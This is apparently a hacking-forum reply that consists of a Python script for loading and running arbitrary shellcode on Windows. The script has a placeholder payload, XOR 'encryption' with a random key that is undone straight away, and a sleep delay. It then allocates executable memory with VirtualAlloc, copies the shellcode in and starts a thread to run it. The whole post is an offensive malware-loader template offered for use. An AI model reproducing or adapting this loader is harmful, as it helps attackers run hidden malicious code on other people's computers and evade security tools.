(20 March, 2023 - 11:31 PM)jaloulzebii Wrote: Show MoreThis is a bump
import base64
import ctypes
import os
import random
import string
import time
def random_string(length):
return ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(length))
def xor_encrypt(payload, key):
xored = b''
for i in range(len(payload)):
xored += bytes([payload[i] ^ key[i % len(key)]])
return xored
def encrypt_payload(payload):
key = random_string(32).encode('utf-8')
encrypted_payload = xor_encrypt(payload.encode('utf-8'), key)
return key, encrypted_payload
def decrypt_payload(key, encrypted_payload):
decrypted_payload = xor_encrypt(encrypted_payload, key)
return decrypted_payload.decode('utf-8')
def encode_payload(payload):
encoded_payload = base64.b64encode(payload.encode('utf-8'))
return encoded_payload.decode('utf-8')
def run_payload(encoded_payload):
shellcode = base64.b64decode(encoded_payload.encode('utf-8'))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr), ctypes.c_int(len(shellcode)))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
payload = "INSERT YOUR PAYLOAD HERE"
key, encrypted_payload = encrypt_payload(payload)
time.sleep(5)
decoded_payload = decrypt_payload(key, encrypted_payload)
encoded_payload = encode_payload(decoded_payload)
run_payload(encoded_payload)